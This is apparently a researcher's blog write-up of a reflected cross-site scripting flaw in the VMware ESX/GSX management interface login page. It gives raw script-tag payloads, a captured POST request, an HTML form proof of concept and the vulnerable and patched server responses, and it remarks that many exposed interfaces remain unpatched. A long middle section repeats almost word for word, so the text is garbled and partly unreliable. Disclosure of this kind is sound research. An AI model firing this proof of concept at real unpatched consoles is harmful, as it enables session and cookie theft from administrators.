As a part of my open research, I came across an XSS vulnerability in VMware management interface which is used by VMware ESX and GSX server. I thought it might be a new issue but interestingly a number of XSS issues have already been reported to VMware security team. The list can be found here: http://www.cvedetails.com/vulnerability-list/vendor_id-252/opxss-1/Vmware.html
On the other note, a number of VMware management interfaces exposed on the Internet are still vulnerable. Of-course, the administrators have not deployed patches or upgraded the required software. I din't get enough details on the XSS issue (may be I missed it). So, I thought to talk about the issue in detail here. I am not going to list which versions are affected, you can get that information in the advisories. I will talk about the issue. The management interface look like as presented below:
 |
| VMware Management Interface |
The username and password field are provided with ids as "l" and "m" respectively. Interestingly, the vulnerable interfaces use client side encoding to obfuscate the input values entered by the user. But, this can be taken care while using proxy, the value can be directly passed without encoding (alter the HTTP request and POST parameters in the proxy such as BURP, Charles, etc). For example:- if you specify the parameters as follows:
l="/>"/>"/><script>alert(document.cookie);</script>
m=test
it gets encoded as follows:
l = Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==
m = dGVzdA==
Well, its not a complex encoding but only a Base 64 encoding. Even if, one uses the proxy to pass the values without encoding, due to client side work, the XSS payload fails to render in the webpage. The output looks like as follows:
<html><head><title>Login: VMware Management Interface</title><script> var user="Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>
It reflects back our XSS payload but in Base 64 encoded format which is rendered as useless data. The vulnerability persisted in the handling of these parameters on the server side. If you check, the same payload is reflected back without any additional modification. Actually, the server does not perform any encoding or input validation. Its all client side. The idea is to simply render this payload without encoding. All the POST requests are handled by the /sx-login/index.pl. Let's see:
(Request-Line) POST /sx-login/index.pl HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://82.133.251.1/vmware/en/login.html
Cookie: vmware.mui.test=1; vmware.mui.test=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
The simple proof of concept (PoC) that directly sends request to the /sx/login/index.pl is shown below which queries directly without any encoding and made the XSS work.
<html>
<body>
<form name="k" id="k" method="post" action="https://example.com/sx-login/index.pl" target="data">
<input name="l" type="text" value='"--></style></script><script>alert(document.location);</script>"'/>
<input name="m" type="password" value="test"/>
<input type="submit" value="Submit">
</form>
</body>
</html>
Once this form is successfully submitted, it results in XSS as shown below:
<html><head><title>Login: VMware Management Interface</title><script>
var user=""--></style></script><script>alert(document.location);</script>"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>
On patched systems, the web server replied back as follows:
<html><head><title>Login: VMware Management Interface</title><script>
The patched versions are now using server side unicode encoding to subvert the XSS payload.
Enjoy!
l="/>"/>"/><script>alert(document.cookie);</script>
m=test
it gets encoded as follows:
l = Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==
m = dGVzdA==
Well, its not a complex encoding but only a Base 64 encoding. Even if, one uses the proxy to pass the values without encoding, due to client side work, the XSS payload fails to render in the webpage. The output looks like as follows:
<html><head><title>Login: VMware Management Interface</title><script> var user="Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>
It reflects back our XSS payload but in Base 64 encoded format which is rendered as useless data. The vulnerability persisted in the handling of these parameters on the server side. If you check, the same payload is reflected back without any additional modification. Actually, the server does not perform any encoding or input validation. Its all client side. The idea is to simply render this payload without encoding. All the POST requests are handled by the /sx-login/index.pl. Let's see:
(Request-Line) POST /sx-login/index.pl HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://82.133.251.1/vmware/en/login.html
Cookie: vmware.mui.test=1; vmware.mui.test=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
The simple proof of concept (PoC) that directly sends request to the /sx/login/index.pl is shown below which queries directly without any encoding and made the XSS work.
<html>
<body>
<form name="k" id="k" method="post" action="https://example.com/sx-login/index.pl" target="data">
<input name="l" type="text" value='"--></style></script><script>alert(document.location);</script>"'/>
<input name="m" type="password" value="test"/>
<input type="submit" value="Submit">
</form>
</body>
</html>
Once this form is successfully submitted, it results in XSS as shown below:
<html><head><title>Login: VMware Management Interface</title><script>
var user=""--></style></script><script>alert(document.location);</script>"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>
 |
| Successful XSS Injection |
<html><head><title>Login: VMware Management Interface</title><script>
var user="\"--\u003E\u003C/style\u003E\u003C/script\u003E\u003Cscript\u003Ealert(document.location);\u003C/script\u003E\"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null; </script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>
The patched versions are now using server side unicode encoding to subvert the XSS payload.
Enjoy!
